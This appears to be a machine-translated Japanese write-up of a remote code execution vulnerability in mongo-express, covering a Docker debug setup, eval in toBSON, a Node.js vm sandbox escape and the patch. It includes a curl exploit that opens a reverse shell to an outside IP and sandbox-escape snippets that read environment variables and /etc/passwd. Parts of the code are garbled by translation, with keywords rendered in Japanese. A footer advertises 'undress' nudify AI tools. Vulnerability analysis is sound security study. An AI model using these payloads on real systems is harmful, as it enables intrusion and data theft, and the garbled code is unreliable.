0x01 mongo-express について知る<br>
mongo-express は、NodeJS、Express、および Bootstrap3 を使用して記述された MongoDB Admin Web 管理インターフェイスです。現在、mongo-express は、Github で最も多くのスターを獲得している MongoDB 管理管理インターフェイスであるはずです。導入が簡単で使いやすいため、mongo を管理するために多くの人に選ばれています。
0x02 デバッグ環境のセットアップ<br>
0x1 Docker サービスの開始<br>
GitHub の公式セキュリティ発表を読んで、この脆弱性は 0.54.0 より前のすべてのバージョンに影響します。テスト用の例として 0.49 を選択しました。この脆弱性環境には MongoDB データベースも必要なので、次の docker コマンドを実行することですぐに構築できます:
MongoDB データベースの構築<br>
docker run --name test -d mongo:3.2
脆弱性を含む mongo-express をビルドし、上記の MongoDB データベースに接続します。 <br>
<br>
ここにはトリックがあります。nodejs をデバッグしたい場合は、 - を追加する必要があります。 -inspect 起動時のパラメータ。 docker 起動スクリプトに次の変更を加えます##docker restart 183
docker exec -it 183 bash を使用して docker に接続し、デバッグ サービスが有効かどうかを確認します。
をオンにします。上の図に示すように、ポート 9229 を開くだけです。外部ホストが 9229 ポートに接続できる限り、デバッグに chrome プラグインを使用できます。frp を使用してポートを転送するか、docker -p 9229:9229 パラメータを使用して処理できます。
0x3 Chrome DevTools
<br>Chrome プラグインを使用すると、JavaScript スクリプトをデバッグするのと同じように、nodejs をデバッグでき、操作性も非常に便利です。
最初にデバッグ プラグインをダウンロードします
Chrome で開きます: Chrome devtools が 2016 年 5 月に Nodejs デバッグをサポートしていることを確認し、[Node 専用の DevTools を開く] をクリックします。
接続アドレスとポートの構成
次のステップは、js のデバッグと同様です
テスト パケットを送信すると、ルーティング ブランチが切断され、この脆弱性のデバッグを開始できます。
<br>
<br>
curl http://127.0.0.1:8081/checkValid -d 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" bash -i >& /dev/tcp/192.168.43.176/8003 0>&1 2>&1")'
##0x03 脆弱性のデバッグと原理分析
今回デバッグされた脆弱性の原理は比較的単純です。中心的な脆弱性はコマンド スプライシングです。これは最も単純な形式の脆弱性ですが、サンドボックス VM をバイパスする必要があるため、悪用するにはある程度の努力が必要です。幸いなことに、 nodejs VM 以前の調査ベースをバイパスします。これ以上の苦労はせずに、最後の脆弱性コードを見てみましょう <br>
文字列は toBSON のパラメータです。BSON は MongoDB の一般的なデータ形式であり、JSON に近いものです。ただし、JSON のデータ形式とは多くの違いがありますが、新しいドキュメントの作成 (他のデータベースでの挿入操作と同様) など、mongo-express のすべての BSON 関連操作は toBSON() 関数を経由する必要があります。
コードフローが bson.toBSON に到達すると、eval 関数がトリガーされます。バックエンド言語の eval 関数をサーバー側で実行すると、コマンド インジェクションが発生し、システムに損害を与える可能性があります。
<br>
<br>exp.checkValid = function (req, res) {var doc = req.body.document;try { bson.toBSON(doc);} catch (err) { console.error(err); return res.send('無効');}res.send('有効'); };
<br>
exports.toBSON = 関数 (文字列) { var サンドボックス = exports.getSandbox(); string = string.replace(/ISODate\(/g, 'new ISODate('); string = string.replace(/Binary\(("[^"] "),/g, 'Binary(new Buffer($1, "base64"),'); vm.runInNewContext('doc = eval((' string '));', サンドボックス); return Sandbox.doc;};
コードソース解析によると、toBSON のパラメータ文字列は req.body 内のドキュメントであるため、この部分を制御できます。仮想サンドボックスである vm.runInNewContext 関数が見つかります。したがって、次のセクションではサンドボックス保護をバイパスする方法を分析します。
0x04 nodejs サンドボックス バイパス<br>
サンドボックスは、実際の外部コードに影響を与えることなく、信頼されていないコードを安全に実行できる独立した環境です。多くの場合、コードの実行はサンドボックス内で制限されます。 VM モジュールは、VM 仮想マシンのコンテキストでコードをコンパイルおよび実行するための API を提供します。 VM モジュールを使用して、サンドボックス環境でコードを実行します。実行中のコードは異なる V8 コンテキストを使用します。つまり、そのグローバル変数は他のコードとは異なります。ただし、サンドボックス内のコードは引き続きノード プロセスにアクセスできます。私たちはこの方法をバイパスするためによく使用します。
0x1 現象<br>
vm.js
<br>
<br>
"use strict";const vm = require("vm");const xyz = vm.runInNewContext(` this.constructor.constructor('return this.process.env')()`);console.log(xyz);
this.process.env が表示されます。 nodejs プロセス情報が取得されます。これは、メイン プログラムに戻ってシステム コマンドを実行することが完全に可能であることを示しています。
0x2 説明<br>
JavaScript では、これはそれが属するオブジェクトを指しているため、これを使用すると、すでに VM コンテキストの外側のオブジェクトを指しています。次に、これにアクセスする .constructor は Object Constructor を返し、Object Constructor にアクセスする .constructor は Function コンストラクターを返します。関数コンストラクターは、グローバル アクセスを可能にする JavaScript の最上位関数のようなものです。 Function コンストラクターを使用すると、文字列から関数を生成して、任意のコードを実行できます。したがって、それを使用してメインプロセスに戻ることができます。これを使用してメイン プロセスにアクセスし、RCE を実行できます。
<br>
<br>
"厳密な使用";const vm = require("vm");const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);console.log(xyz);
同様に、vm2 関数もバイパスできます。 , 原文を参考に勉強しましょうhttps://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html
0x05脆弱性パッチ<br>
ここでは、すべてを説明する 2 つの図を示します。mongo-query-parser を使用して BSON データを解析し、ソースから直接置き換えます。
以上がリモートコード実行の脆弱性事例分析の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

SAP NetWeaver Server Adapter for Eclipse
Eclipse を SAP NetWeaver アプリケーション サーバーと統合します。

DVWA
Damn Vulnerable Web App (DVWA) は、非常に脆弱な PHP/MySQL Web アプリケーションです。その主な目的は、セキュリティ専門家が法的環境でスキルとツールをテストするのに役立ち、Web 開発者が Web アプリケーションを保護するプロセスをより深く理解できるようにし、教師/生徒が教室環境で Web アプリケーションを教え/学習できるようにすることです。安全。 DVWA の目標は、シンプルでわかりやすいインターフェイスを通じて、さまざまな難易度で最も一般的な Web 脆弱性のいくつかを実践することです。このソフトウェアは、

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

メモ帳++7.3.1
使いやすく無料のコードエディター

VSCode Windows 64 ビットのダウンロード
Microsoft によって発売された無料で強力な IDE エディター

ホットトピック









